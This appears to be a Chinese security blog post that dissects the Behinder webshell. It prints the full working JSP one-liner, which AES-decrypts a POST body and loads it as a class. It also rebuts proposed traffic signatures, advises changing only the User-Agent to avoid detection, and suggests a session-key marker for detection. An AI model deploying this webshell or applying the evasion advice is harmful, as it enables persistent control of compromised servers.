前尘——流量中的无法捕捉的蝎子

阅读量    69469 | 评论 2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

一天一个朋友跑过来,问我冰蝎又没有魔改的版本。说自己冰蝎执行命令被拦截了,于是我开始借此机会分析冰蝎源码,寻找其特征。

 

JSP一句话木马分析

冰蝎两端二开,首先分析其JSP
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
为了方便分析将其带入idea中进行格式化

一个类名为U的类继承ClassLoader,这里我只给大家解释一点,避免对classloader解释太多让大家不易理解。classloader就是将class文件加载到JVM中。读者理解这一点就行……

获取request对象,然后通过request对象获取请求方法。如果是POST方法则向下处理……

定义一个密钥,因为其采用aes加密,然后将这个key存入session对象,key为u,value为密钥。

通过Cipher对象实现了AES加密

然后初始化这个加密算法
init(int opmode, Certificate certificate)
init这个api是使用给定证书中的公钥初始化此密码。然后此处解决一个疑问,此处的aes加密还是解密是我困惑的一个点,后来差文档发现第一个参数opmode支持两种模式ENCRYPT_MODE , DECRYPT_MODE , WRAP_MODE或 UNWRAP_MODE,然后他传了一个int类型的2即为解密。
然后将上文声明的key当作密钥传入。自此aes方法声明结束。

然后实例化当前类,对于这种链式操作很大程度上减少了代码量,但是对于分析者不怎么友好。这种写法需要从内向外分析。
1.调用request对象的getReader然后逐行读取请求包里的内容。
2.调用sun包下misc中Base64Decoder方法对其进行base64解密
3.调用上文中实例的aes算法对象的dofinal对其进行aes解密
4.将内容传给声明的方法g中,内部调用defineClass方法动态解析内容成class内容

这里主要是defineClass方法给出api,可以搜索这个api文档深入理解。

 

聊聊这样实现的优势

我不得不承认的冰蝎作者对webshell管理端这样的先河开辟者的佩服。原因如下:对于一个webshell的控制,其最主要的功能在于命令执行也就是Runtime类。客户端向服务端发送命令,服务端获取内容然后带入exec当中。但是冰蝎作者没有这么做,他选择类加载的方式,客户端发送给服务端类文件由服务端使用classloader加载到jvm。这样做最大的好处就是可扩展性,可以做的事情不在局限于runtime类,让可以做的事情无限放大。从0到1是个大问题……

 

客户端

接下来看看客户端目录结构,让我庆幸的是。当我再次看到这样的目录结构让我留下的阔别已久的泪水,那些老架构项目的架构烂的一塌糊涂。这样的架构,分层思想给我接下来的分析减少了很大压力,直接pom下载依赖。
冰蝎使用了sqllite数据库

核心表就两张,hosts和shell表。多对多的关系,保存shell的记录。
1.dao层负责查询数据
2.entity层负责数据库和应用程序的实体映射
3.ui负责界面
4.util工具包
5.payload是客户端的功能实现

功能实现自己看吧,无非创建文件删除文件这些没啥说的。

聊聊特征

https://www.freebuf.com/sectool/247009.html 我一句这篇文章来做一个反驳吧
1.content-type Content-Type: application/octet-stream属于强特征。这种属于流传输,而用到流传输的地方多了去了,不能作为特征。
2.user-Agent 。我看了源码中

冰蝎子中默认定义的agent头,查阅后并未发现敏感特殊字样,都为正常ua头。如果实在担心可以修改默认的ua头。

Accept&Cache-Control,文章中说如果不自行定义则会使用默认的
Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2
Cache-Control: no-cache
Pragma: no-cache
User-Agent: java/1.8
这很正常,大多数请求都不会自己定义。
综上所述,以上几种特征都属于强行找特征。如果有必要,建议只修改ua头即可。

 

总结

看完整个代码之后的感觉就是,冰蝎作者的开发功底可以,其中用到多种设计模式,方法的抽离性比较强。每个方法都放到了该放的位置,但是数据库设计的个人认为有很多冗余字段存在于host和shell表中。
最后提一嘴,

除流量特征以外的内存特征session 中的key为u算不算一个呀,这个作为内存马检测算不算很有力。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多